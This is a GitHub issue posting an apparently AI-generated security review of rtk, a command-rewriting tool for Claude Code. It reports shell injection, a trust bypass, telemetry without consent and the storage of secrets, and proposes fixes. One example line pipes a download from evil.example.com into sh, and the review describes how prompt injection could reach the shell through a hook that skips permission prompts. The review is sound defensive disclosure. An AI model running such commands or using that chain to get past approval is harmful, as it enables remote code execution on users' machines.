I asked claude --effort high to do a security review of rtk
#640 opened on Mar 16, 2026
Repository metrics
- Stars
- (48,085 stars)
- PR merge metrics
- (Avg merge 11d 1h) (45 merged PRs in 30d)
Description
I love this idea and I am constantly trying to squeeze more value of a session because once a compression happens, in a complex collaborative session, important knowledge is always lost.
I know nothing, I just pulled the repo and ask Claude how safe it was. I was taken aback by the answer. Just because it seems like such an obvious thing to do, and the output was was more scary than I expected ...
Feel free to close this, I'm actually running rtk right now, but I felt like I need to at least mention this.
RTK Security Review
Date: 2026-03-16 Reviewer: Claude Opus 4.6 (automated) Scope: Full codebase at commit 4467296 (master)
| Critical | High | Medium | Low | Info |
|---|---|---|---|---|
| 1 | 3 | 5 | 4 | 3 |
Overall verdict: Mostly sound architecture with real security engineering (SHA-256 hook pinning, trust boundaries), but some significant issues. The project has done more security work than the typical CLI tool.
Policy vs Implementation Gap
The project has an existing SECURITY.md with a thorough PR review policy. Several findings in this review directly contradict the project's own stated security rules:
| Policy rule (SECURITY.md) | Violation found |
|---|---|
Command::new("sh") listed as dangerous pattern (line 109) |
runner.rs and summary.rs use exactly this pattern (C-1) |
| "No shell, direct binary execution" (line 159) | sh -c with unsanitized user input in 3 code paths |
"NEVER use .unwrap() in src/" (line 172) |
tee.rs byte-index slicing panics on multi-byte UTF-8 (L-3) |
| "Data exfiltration" listed as a risk (line 24) | Telemetry sends device hash + top commands with no opt-in consent (H-1) |
| "Canonicalize file paths to prevent traversal attacks" (line 181) | RTK_TEE_DIR accepted without validation (M-1) |
| "tracking.db exposure" listed as a concern (line 24) | Full command strings with secrets stored for 90 days (M-2) |
The security policy describes the right approach — the implementation doesn't fully match it.
Critical
C-1: Shell injection via sh -c in runner.rs / summary.rs
Files: src/runner.rs (lines 14-27, 73-86), src/summary.rs (lines 15-28)
All three commands (rtk err, rtk test, rtk summary) receive a free-form string from the user (or from the Claude Code hook which rewrites arbitrary user commands) and pass it directly to sh -c / cmd /C:
// runner.rs — the command string is user-controlled
Command::new("sh")
.args(["-c", command]) // command = args.join(" "), unescaped
The command argument is constructed in main.rs as args.join(" "), where args comes from Vec<String> captured by Clap with trailing_var_arg = true. A command like:
rtk err cargo test; curl -s evil.example.com | sh
is a legitimate RTK invocation in which the shell receives cargo test; curl -s evil.example.com | sh verbatim. Because RTK's hook rewrites things like cargo test to rtk test cargo test, a carefully crafted Claude Code session that causes Claude to run cargo test; <payload> would be rewritten into shell injection via this path.
The severity is elevated because:
- The hook grants
permissionDecision: "allow"automatically, bypassing Claude Code's normal permission prompt. - The inputs flow from the LLM's tool-call output, creating an LLM prompt-injection -> shell-injection chain.
Fix: Reconstruct the command using execv-style argument passing, never via the shell:
// Instead of sh -c "all args joined as string":
let tokens = shell_split(command);
if let Some((bin, rest)) = tokens.split_first() {
utils::resolved_command(bin).args(rest).status()?;
}
If shell features like pipes and semicolons are intentional (so users can do rtk err "cargo build && cargo test"), document this as a trust boundary: only commands typed by the authenticated local user, not commands rewritten from LLM output, should flow through this path. The hook should not rewrite commands that contain shell metacharacters.
High
H-1: Telemetry sends usage data with no install-time consent
File: src/telemetry.rs
When built with RTK_TELEMETRY_URL (which the official Homebrew build uses), telemetry sends to a third-party endpoint:
let payload = serde_json::json!({
"device_hash": device_hash, // SHA-256(hostname + username)
"top_commands": top_commands, // ["rtk git log", "rtk cargo test", ...]
"tokens_saved_24h": tokens_saved_24h,
"tokens_saved_total": tokens_saved_total,
...
});
Issues:
device_hashis a persistent identifier derived from hostname and username — stable across sessions, linkable to a specific workstation.top_commandsreveals what tools/workflows the user runs. Combined with the device hash, this is a behavioral fingerprint.- No install-time consent dialog.
telemetry.enabled = trueis the default. Opt-out requires editing~/.config/rtk/config.toml. - The telemetry URL and token are compiled into the binary from GitHub Actions secrets. Users cannot inspect the endpoint without disassembling.
Fix: (1) Display a one-time opt-in prompt during rtk init or first run, storing the answer in config.toml. (2) Default to telemetry.enabled = false. (3) Print the telemetry URL in rtk config --show so users can see where data goes.
H-2: CI trust bypass — RTK_TRUST_PROJECT_FILTERS=1 is trivially exploitable
File: src/trust.rs (lines 98-110)
if std::env::var("RTK_TRUST_PROJECT_FILTERS").as_deref() == Ok("1") {
let in_ci = std::env::var("CI").is_ok()
|| std::env::var("GITHUB_ACTIONS").is_ok()
...
if in_ci {
return Ok(TrustStatus::EnvOverride);
}
}
The CI detection prevents .envrc injection, but a repo's Makefile, shell script, or test fixture can trivially set CI=1 and RTK_TRUST_PROJECT_FILTERS=1 before invoking rtk, bypassing the trust model entirely and auto-loading an untrusted .rtk/filters.toml.
Fix: Require stronger CI context proof (e.g., GITHUB_TOKEN, GITLAB_TOKEN, or /proc/1/cgroup patterns). Alternatively, accept that CI override is a privileged configuration that must be set by the CI platform itself, not by repo code.
H-3: Global filters loaded without integrity check
File: src/toml_filter.rs (lines 210-218)
// Priority 2: user-global ~/.config/rtk/filters.toml
if let Some(config_dir) = dirs::config_dir() {
let global_path = config_dir.join("rtk").join("filters.toml");
if let Ok(content) = std::fs::read_to_string(&global_path) {
match Self::parse_and_compile(&content, "user-global") {
Ok(f) => filters.extend(f),
Project-local .rtk/filters.toml requires SHA-256 verification, but ~/.config/rtk/filters.toml is trusted unconditionally. If malware modifies the global filter, it can:
- Suppress security scanner output (via
match_outputwith catch-all pattern) - Rewrite arbitrary command output via
replacerules - Silently hide vulnerability findings from the LLM
This is particularly dangerous because RTK sits in the LLM's output pipeline.
Fix: Apply the same SHA-256 pinning to the global filter. On first load, prompt the user to review and accept. On change, flag as ContentChanged and refuse to load.
Medium
M-1: tee.rs path traversal via RTK_TEE_DIR environment variable
File: src/tee.rs (lines 36-38)
if let Ok(dir) = std::env::var("RTK_TEE_DIR") {
return Some(PathBuf::from(dir));
}
The directory is used directly without canonicalization or validation. A value of RTK_TEE_DIR=../../etc would write files into unexpected locations. Combined with the LLM's ability to set environment variables in tool calls, this could write files to locations the user didn't intend.
Fix:
let dir = PathBuf::from(&dir_str);
if dir.is_relative() {
eprintln!("rtk: RTK_TEE_DIR must be an absolute path, ignoring");
return None;
}
M-2: Secrets stored in tracking database
File: src/tracking.rs (lines 360-373)
The original_cmd and rtk_cmd fields stored in SQLite include full command strings with all arguments. Commands like rtk psql -U admin -W mysecretpassword or rtk curl -H "Authorization: Bearer tok_abc123" persist verbatim in ~/.local/share/rtk/tracking.db for 90 days. Since rtk gain --history renders these rows, they may also appear in LLM context.
Fix: Strip known flag-value patterns (bearer tokens, --password, -p, -W, Authorization:) from original_cmd before storage.
M-3: ANSI regex does not cover OSC sequences
File: src/utils.rs (lines 48-52)
The ANSI stripping regex \x1b\[[0-9;]*[a-zA-Z] does not cover OSC sequences (\x1b]...ST), hyperlink sequences, or other VT100 codes. Outputs with OSC hyperlinks (common in modern terminal emulators) pass through unstripped, potentially injecting embedded URLs into the LLM context.
M-4: runner.rs does not propagate exit codes in all paths
File: src/runner.rs (lines 92-103)
When cargo test fails with non-zero exit code but the filter produces output, RTK exits 0. Claude Code receives a 0 exit code and assumes the test command succeeded. The run_test function prints the summary and returns Ok(()) without calling std::process::exit(exit_code).
Fix: Add std::process::exit(exit_code) at the end of both run_err and run_test when exit_code != 0.
M-5: rtk proxy logs full command strings to tracking DB
File: src/main.rs (lines 2092-2097)
The proxy command records full command and arguments to the tracking database. For commands like rtk proxy curl -H "Authorization: Bearer sk-abc", the bearer token ends up in SQLite for 90 days. Same issue as M-2 but in the proxy path where users may run more sensitive commands.
Low
L-1: Hook audit log has no size limit
File: .claude/hooks/rtk-rewrite.sh (lines 9-17)
When RTK_HOOK_AUDIT=1 is set, every hook invocation appends to hook-audit.log with no rotation or size cap. In long sessions this grows unboundedly and preserves potentially sensitive command arguments indefinitely.
L-2: rtk env --show-all exposes secrets to LLM without warning
File: src/env_cmd.rs (line 248)
rtk env --show-all disables all masking and prints raw values of AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, etc. to stdout. In a Claude Code session, this exposes all secrets to the LLM's context window without any confirmation prompt. The sensitive pattern list is also missing patterns like passwd, pass, and pwd.
L-3: tee.rs byte-index slice panics on multi-byte UTF-8
File: src/tee.rs (lines 122-126)
let content = if raw.len() > max_file_size {
format!(
"{}\n\n--- truncated at {} bytes ---",
&raw[..max_file_size], // byte-index slice
max_file_size
)
&raw[..max_file_size] panics if the index falls in the middle of a multi-byte UTF-8 character (e.g., Japanese error messages, emoji in test names).
Fix:
let boundary = raw.floor_char_boundary(max_file_size);
format!("{}\n\n--- truncated at {} bytes ---", &raw[..boundary], max_file_size)
L-4: sanitize_slug byte-index slice assumption
File: src/tee.rs (lines 27-29)
if sanitized.len() > 40 {
sanitized[..40].to_string() // byte slice, not char slice
}
Safe in practice because the preceding map ensures only ASCII characters pass through, but relies on an implicit invariant. Use sanitized.chars().take(40).collect::<String>() to be explicit.
Info
I-1: Hook auto-approval widens Claude Code's attack surface
File: .claude/hooks/rtk-rewrite.sh (lines 61-70)
The hook outputs permissionDecision: "allow" for every rewritten command. Any command RTK rewrites is auto-approved without user prompt. The rtk verify / integrity::runtime_check() mechanism guards against hook tampering, which is the right mitigation. Expanding what RTK rewrites transitively expands what is auto-approved.
I-2: ureq background thread violates "zero async" constraint in spirit
File: src/telemetry.rs (line 44), Cargo.toml (line 31)
Telemetry spawns a thread::spawn to fire HTTP requests. While std::thread::spawn is not async, it does create a background thread. If the main thread exits before the background thread finishes, there's a SIGTERM race. In practice this is benign.
I-3: SQLite GLOB path matching breaks on Windows paths with brackets
File: src/tracking.rs (lines 54-61)
SQLite's GLOB operator treats [, ], *, and ? as special characters. A Windows path like C:\projects\[client-A]\myapp\ would cause glob matching to fail. A plain LIKE with ESCAPE or prefix substring check would be safer cross-platform.